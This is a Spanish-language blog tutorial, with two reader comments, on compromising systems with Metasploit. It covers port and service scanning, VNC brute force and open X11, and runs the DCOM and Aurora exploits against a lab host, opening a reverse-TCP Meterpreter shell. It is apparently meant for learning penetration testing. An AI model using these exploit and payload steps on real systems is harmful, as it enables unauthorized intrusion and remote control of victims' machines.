USANDO EXPLOITS, PAYLOADS Y AUXILIARIES PARA COMPROMETER UN SISTEMA
Es posible utilizar módulos auxiliares y scanners para realizar diferentes actividades relacionadas con el descubrimiento de puertos abiertos, servicios disponibles, etc. (similar a lo que frecuentemente se realiza con NMap pero desde MetaSploit) esto es útil para segmentar de una forma mucho mas efectiva el uso de determinados exploits y recolectar información sobre un objetivo determinado.
PORT SCANNING
Nmap es una excelente herramienta para escaneo de puertos, sin embargo, metasploit contiene módulos auxiliares para realizar diferentes tipos de escaneos que encapsulan las funcionalidades de NMap, cabe aclarar, se trata de una alternativa más que se incluye en el framework, en ningun caso pretende ser un sustituto para NMap que es sin lugar a dudas, una de las herramientas de descubrimiento mas robustas y estables que existen actualmente. Para conocer los módulos de escaneo de puertos disponibles, se utiliza la consola de MetaSploit:
msf > search portscan
[*] Searching loaded modules for pattern ‘portscan’…
Auxiliary
=========
Name Disclosure Date Rank Description
—- ————— —- ———–
scanner/portscan/ack normal TCP ACK Firewall Scanner
scanner/portscan/ftpbounce normal FTP Bounce Port Scanner
scanner/portscan/syn normal TCP SYN Port Scanner
scanner/portscan/tcp normal TCP Port Scanner
scanner/portscan/xmas normal TCP «XMas» Port Scanner
SMB VERSION
Con los comandos anteriores, un escaneo de puertos nos permite saber cuales maquinas se encuentran disponibles en la red, para segmentar un poco mas la búsqueda de objetivos podríamos encontrar el sistema operativo bajo el cual se encuentran en ejecución las maquinas encontradas en la red, probablemente se encontrarán algunos sistemas que escuchan por el puerto 445 o el 139, de esta forma es posible utilizar el modulo auxiliary/scanner/smb/smb_version, una vez establecidas la opciones de escaneo, se puede ejecutar el exploit.
Con esto tendremos la versión de Windows o la versión de Samba en ejecución en el caso de que se trate de un sistema Linux.
msf auxiliary(smb_version) > run
[*] 192.168.1.34:445 is running Windows XP Service Pack 3 (language: English) (name:ANONYMOUS) (domain:WORKGROUP)
IDLE SCANNING
Con Metasploit es posible optimizar un idle scanning tal como ejecuta con nmap, (para conocer mejor esta técnica: http://nmap.org/idlescan-es.html) solamente es necesario utilizar el modulo auxiliary/scanner/ip/ipidseq, posteriormente es necesario establecer las opciones obligatorias, tales como INTERFACE (en el caso de que sea una interfaz diferente a la cableada), RHOSTS, THREADS y RPORT
Finalmente ejecutar el modulo con el comando run se ejecuta el escaneo de aquellas maquinas que pueden ser utilizadas como zoombie, dicho modulo es auxiliary/scanner/ip/ipidseq
IDENTIFICACION DE SERVICIOS
Es posible utilizar una gran cantidad de scanners de MetaSploit con el fin de conocer que versión de un determinado servicio se encuentra en ejecución, para listar todos los scanners disponibles:
msf> search auxiliary ^scanner
Los módulos que nos pueden resultar mas interesantes son aquellos terminados en _version, por ejemplo scanner/ssh/ssh_version, scanner/telnet/telnet_version, scanner/smtp/smtp_version, scanner/postgres/postgres_version
ATACANDO VNC
Es posible utilizar los módulos disponibles en metasploit de VNC, donde podemos realizar un ataque de fuerza bruta en base a un fichero de passwords o comprobar que servidores no tienen mecanismos de autenticación establecidos, esto se realiza por medio de los módulos auxiliary/scanner/vnc/vnc_login y auxiliary/scanner/vnc/vnc_none_auth
ATACANDO OPEN X11
De la misma forma en que podemos atacar una maquina que tenga en ejecución un servicio VNC mal configurado, podemos atacar un servicio X11 que permita la conexión sin autenticación, el modulo disponible para realizar esta actividad es: auxiliary/scanner/x11/open_x11
MS03_026_DCOM:
Se puede utilizar diferentes tipos de exploits para conseguir una consola en el sistema objetivo aprovechando alguna de las vulnerabilidades expuestas en dicho sistema (en este caso Windows), uno muy conocido es el ms03_026_dcom, el cual se encarga de explotar una vulnerabilidad de buffer overflow sobre un sistema windows, la descripción de dicha vulnerabilidad se encuentra detallada aquí:
http://www.microsoft.com/technet/security/bulletin/ms03-026.mspx
Aunque es una vulnerabilidad antigua y solucionada desde el Service Pack 2 de Windows XP, es asombrosa la cantidad de personas que no mantienen actualizado su sistema con los famosos «Security Updates» de windows. Para usar este exploit podemos buscarlo y posteriormente usarlo:
msf > search dcom
[*] Searching loaded modules for pattern ‘dcom’…
Exploits
========
Name Disclosure Date Rank Description
—- ————— —- ———–
windows/dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM Interface Overflow
windows/driver/broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless Driver Probe Response SSID Overflow
windows/smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE Service Overflow
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser
msf exploit(ms03_026_dcom) > set RHOST 192.168.1.34
RHOST => 192.168.1.34
msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal…
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.34[135] …
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.1.34[135] …
[*] Sending exploit …
[*] Exploit completed, but no session was created.
Como se puede apreciar se ha ejecutado el exploit en la maquina remota, si esta es vulnerable a dicho ataque, se creará un usuario metasploit con clave metasploit, como es natural, se puede hacer uso de algún otro payload para ejecutar una vez se ha explotado el sistema.
BROWSER_AUTOPWN
Se trata de un modulo auxiliar (auxiliary/server/browser_autopwn) que permite la explotación de múltiples vulnerabilidades en navegadores tales como Internet Explorer, Firefox y Chrome. Consiste en la ejecución de una serie de exploits relacionados con vulnerabilidades conocidas, el modulo intentará iniciar un servicio en el host y puerto especificados en las opciones del modulo, de esta forma, cuando un cliente intente acceder desde un navegador web vulnerable al host y puerto donde se encuentran en ejecución dichos servicios, inmediatamente se enviarán los exploits a la maquina objetivo, en el caso de que alguno de los exploits resulte exitoso en su ejecución, se intentará ejecutar el payload asociado.
Con este modulo se deben especificar las opciones LHOST (normalmente la maquina desde donde se encuentra en ejecución metasploit) SRVPORT (El puerto donde deberán escuchar los servicios) y URIPATH (Para indicar el contexto del servicio, normalmente es “/” por facilidad).
Por otro lado, se puede especificar otros payloads para aprovechar una vulnerabilidad explotada, a diferencia de un exploit común, con este modulo auxiliar podemos especificar un payload para una plataforma especifica, en este caso los que se encuentran disponibles son:
set PAYLOAD_GENERIC set PAYLOAD_JAVA set PAYLOAD_LINUX set PAYLOAD_MACOS set PAYLOAD_WIN32
En este caso como se trata de un modulo auxiliar no se utiliza el comando exploit, en su lugar se utiliza el comando run, de esta forma se ejecutarán todos los exploits en cadena.
ARP_SWEEP
La ejecución de este modulo nos permite identificar las maquinas que se encuentran disponibles en un segmento de red por medio consultas ARP, se encuentra ubicado en auxiliary/scanner/discovery/arp_sweep y su uso básico se detalla a continuación:
msf auxiliary(arp_sweep) > show options
Module options (auxiliary/scanner/discovery/arp_sweep):
Name Current Setting Required Description
—- ————— ——– ———–
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
RHOSTS yes The target address range or CIDR identifier
SHOST yes Source IP Address
SMAC yes Source MAC Address
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The number of seconds to wait for new data
msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.1/24
RHOSTS => 192.168.1.1/24
msf auxiliary(arp_sweep) > set SHOST 192.168.1.33
SHOST => 192.168.1.33
msf auxiliary(arp_sweep) > set SMAC 4c:0f:6e:e9:7f:90
SMAC => 4c:0f:6e:e9:7f:190
msf auxiliary(arp_sweep) > set INTERFACE wlan0
INTERFACE => wlan0
msf auxiliary(arp_sweep) > run
[*] 192.168.1.1 appears to be up.
[*] 192.168.1.35 appears to be up.
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
NBNAME
Permite detectar el estatus de netbios en un segmento de red determinado, valido para sistemas basados en windows, al igual que algunos de los scanners definidos anteriormente, su uso es muy simple
msf auxiliary(arp_sweep) > use auxiliary/scanner/netbios/nbname
msf auxiliary(nbname) > set RHOSTS 192.168.1.1/24
RHOSTS => 192.168.1.1/24
msf auxiliary(nbname) > set THREADS 10
THREADS => 10
msf auxiliary(nbname) > run
[*] Sending NetBIOS status requests to 192.168.1.0->192.168.1.255 (256 hosts)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(nbname) > run
[*] Sending NetBIOS status requests to 192.168.1.0->192.168.1.255 (256 hosts)
[*] 192.168.1.34 [OWNER] OS:Windows Names:(OWNER, WORKGROUP) Addresses:(192.168.1.34) Mac:00:0d:9d:82:cc:69
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
SMB_ENUMSHARES
Con este modulo podemos determinar los recursos compartidos en red de la maquina remota, similar a otros modulos y exploits de SMB es necesario establecer el usuario y la clave en texto plano o especficar el hash, se encuentra ubicado en auxiliary/scanner/smb/smb_enumshares
MS10_002_AURORA
Se trata de un exploit que aprovecha la vulnerabilidad 10_002 conocida como Aurora que afecta a los navegadores web 7.0 y anteriores, se basa en el envió de en stage de corrupción de memoria que posteriormente nos permite obtener una sesión meterpreter en el objetivo (suponiendo que estemos usando meterpreter como payload) su uso es el siguiente:
msf exploit(ms10_002_aurora) > show options
Module options (exploit/windows/browser/ms10_002_aurora):
Name Current Setting Required Description
—- ————— ——– ———–
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
— —-
0 Automatic
msf exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.33:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.33:8080/
[*] Server started.
Una vez un navegador web vulnerable accede a la ruta indicada anteriormente, obtenemos automáticamente en la consola de metasploit lo siguiente:
msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer «Aurora» Memory Corruption to client 192.168.1.34
[*] Sending stage (749056 bytes) to 192.168.1.34
[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.34:1047) at Sun Mar 20 20:29:50 +0100 2011
JAVA_BASICSERVICE
Este exploit es útil para realizar un proceso de pre-explotacion sobre objetivos con JVM versión 6 con un nivel de update igual o inferior al 22, al igual que muchos exploits basados en ataques contra el navegador del objetivo, este exploit inicia un servicio que ejecuta un servidor web con la vulnerabilidad lista para ser ejecutada por el cliente que invoque el navegador web en el host y puerto especificado:
exploit/windows/browser/java_basicservice_impl
Como en exploits anteriores es necesario definir las variables correspondientes al payload a utilizar y el servidor, tal como URIPATH y SRVHOST, vease el ejemplo anterior con el uso de Aurora.
Si para el lector esto ha resultado complejo y/o no logrado comprender algunas de las etapas en el uso de estos payloads y módulos auxiliares, se recomienda leer entradas anteriores sobre conceptos de MetaSploit: AQUÍ
Hola! que tal! 😉 solo quiero decirte que me gusta mucho lo que escribes aqui! es muy interesante! sobretodo de metasploit 😀
Gracias de nuevoo!
Me gustaMe gusta
Me alegra que te guste, aun tengo mucho material pendiente por publicar sobre tópicos avanzados de metasploit, estoy seguro que si lo que has visto hasta el momento te ha gustado, lo que viene te va a gustar mucho mas.
Saludos.
Me gustaMe gusta